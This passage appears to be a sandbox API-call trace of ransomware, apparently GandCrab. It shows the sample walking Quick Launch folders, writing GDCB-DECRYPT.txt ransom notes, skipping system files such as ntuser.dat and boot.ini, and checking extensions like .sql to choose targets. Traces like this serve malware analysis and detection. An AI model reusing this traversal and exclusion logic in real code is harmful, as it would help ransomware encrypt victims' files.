(lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt" [0135.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned 95 [0135.546] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.546] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.546] lstrcmpW (lpString1="Google Chrome.lnk", lpString2=".") returned 1 [0135.546] lstrcmpW (lpString1="Google Chrome.lnk", lpString2="..") returned 1 [0135.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" [0135.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 96 [0135.546] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.546] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.546] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2=".") returned 1 [0135.546] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2="..") returned 1 [0135.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Microsoft Outlook.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" [0135.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 100 [0135.546] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.546] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.546] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2=".") returned 1 [0135.546] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2="..") returned 1 [0135.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Shows Desktop.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" [0135.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 96 [0135.546] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.546] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.546] lstrcmpW (lpString1="User Pinned", lpString2=".") returned 1 [0135.546] lstrcmpW (lpString1="User Pinned", lpString2="..") returned 1 [0135.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0135.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 90 [0135.546] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.546] lstrcmpW (lpString1="Window Switcher.lnk", lpString2=".") returned 1 [0135.546] lstrcmpW (lpString1="Window Switcher.lnk", lpString2="..") returned 1 [0135.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Window Switcher.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" [0135.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 98 [0135.546] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.546] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.546] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.546] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.547] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\\\GDCB-DECRYPT.txt") returned 96 [0135.547] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.547] GetLastError () returned 0x50 [0135.547] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned 79 [0135.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" [0135.547] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7680 [0135.547] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.547] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.547] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.547] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.547] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.547] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.547] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" [0135.547] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.547] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0135.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0135.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0135.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0135.547] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0135.547] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.548] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.548] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.548] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.548] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt" [0135.548] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.548] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned 95 [0135.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned 95 [0135.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned 95 [0135.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\GDCB-DECRYPT.txt") returned 95 [0135.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.548] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.548] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.548] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.548] lstrcmpW (lpString1="Google Chrome.lnk", lpString2=".") returned 1 [0135.548] lstrcmpW (lpString1="Google Chrome.lnk", lpString2="..") returned 1 [0135.548] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" [0135.548] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.548] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 96 [0135.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 96 [0135.549] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.549] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.549] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2=".") returned 1 [0135.549] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2="..") returned 1 [0135.549] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Microsoft Outlook.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" [0135.549] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.549] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 100 [0135.549] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 100 [0135.549] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.549] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.549] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2=".") returned 1 [0135.549] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2="..") returned 1 [0135.549] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Shows Desktop.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" [0135.549] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.549] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 96 [0135.549] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 96 [0135.549] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.549] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.549] lstrcmpW (lpString1="User Pinned", lpString2=".") returned 1 [0135.550] lstrcmpW (lpString1="User Pinned", lpString2="..") returned 1 [0135.550] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0135.550] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0135.550] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.550] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.550] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned 91 [0135.550] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" [0135.550] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7900 [0135.550] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.550] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.550] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.550] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.550] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.550] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.550] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.550] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt" [0135.550] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned 107 [0135.550] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.550] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.550] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2=".") returned 1 [0135.550] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2="..") returned 1 [0135.550] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="ImplicitAppShortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0135.550] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 111 [0135.550] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.550] lstrcmpW (lpString1="TaskBar", lpString2=".") returned 1 [0135.550] lstrcmpW (lpString1="TaskBar", lpString2="..") returned 1 [0135.550] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0135.550] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 98 [0135.550] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.551] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.551] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.551] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\\\GDCB-DECRYPT.txt") returned 108 [0135.551] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.551] GetLastError () returned 0x50 [0135.551] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.552] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned 91 [0135.552] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" [0135.552] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c76c0 [0135.552] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.552] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.552] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.552] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.552] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.552] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.552] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.552] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt" [0135.552] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.552] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned 107 [0135.552] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned 107 [0135.552] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned 107 [0135.552] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\GDCB-DECRYPT.txt") returned 107 [0135.552] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.552] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.552] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.552] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.552] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.552] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.552] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.552] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.552] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.552] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.553] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.553] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2=".") returned 1 [0135.553] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2="..") returned 1 [0135.553] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="ImplicitAppShortcuts" | out: 